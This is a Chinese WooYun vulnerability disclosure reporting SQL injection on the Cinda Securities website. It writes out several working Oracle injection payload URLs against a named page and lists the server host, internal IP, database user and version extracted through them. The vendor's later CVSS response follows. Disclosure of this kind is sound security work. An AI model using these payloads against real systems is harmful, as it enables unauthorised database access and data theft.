漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2012-05987
漏洞标题:信达证券网站存在SQL注射漏洞
相关厂商:信达证券
漏洞作者: leaf
提交时间:2012-04-12 16:10
修复时间:2012-04-17 16:10
公开时间:2012-04-17 16:10
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:20
漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2012-04-12: 细节已通知厂商并且等待厂商处理中
2012-04-17: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
偶然浏览该站点,抱着试试看的心理改动了下地址栏的参数值...居然发现可注入!为了进一步证明漏洞存在,简单利用下获取到部分基本信息。望厂商尽快予以修复!
详细说明:
http://www.cindasc.com/new/news/BaseInfo9.jsp?nav=1&stockCode=600001'%20and%20exists(select%20*%20from%20dual)--
http://www.cindasc.com/new/news/BaseInfo9.jsp?nav=1&stockCode=600001'%20and%20(select%20count%20(*)%20from%20user_tables)>0--
...
http://www.cindasc.com/new/news/BaseInfo9.jsp?nav=1&stockCode=600001'%20order%20by%2013--
...
http://www.cindasc.com/new/news/BaseInfo9.jsp?nav=1&stockCode=600001'%20and%20(select%20count(*)%20from%20all_objects%20where%20object_name='UTL_HTTP')>0--
...
漏洞证明:
注入点:http://www.cindasc.com/new/news/BaseInfo9.jsp?nav=1&stockCode=600001
Web服务器主机信息: app01
Web服务器IP地址: 172.20.2.67
当前数据库名: WZGAZX30.REGRESS.RDBMS.DEV.US.ORACLE.COM
数据库字符集: SIMPLIFIED CHINESE_CHINA.ZHS16GBK
当前用户名: WZGAZX30
数据库版本: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod
修复方案:
进行必要的过滤!
版权声明:转载请注明来源 leaf@乌云
漏洞回应
厂商回应:
危害等级:无影响厂商忽略
忽略时间:2012-04-17 16:10
厂商回复:
最新状态:
2012-04-18:报歉,没有及时确认。这个漏洞确认是高权限漏洞(DBA),可以利用进行进一步的渗透。同时,疑似存在其他非法用户添加的某系统用户。漏洞事件通过证券行业信息化主管部门(证监会信息中心)协调处置。向leaf致歉。对该漏洞评分如下:CVSS评分:(AV:R/AC:L/Au:NR/C:C/A:P/I:C/B:N) Score:9.67(最高10分,高危)即:远程攻击、攻击难度低、不需要用户认证,对机密性、完整性造成完全影响,对可用性造成部分。技术难度系数:1.0(一般,oracle的系统比较大)影响危害系数:1.4(较严重,涉及重要信息系统单位业务系统)综合评分:9.67*1.0*1.4=13.538 (rank 14)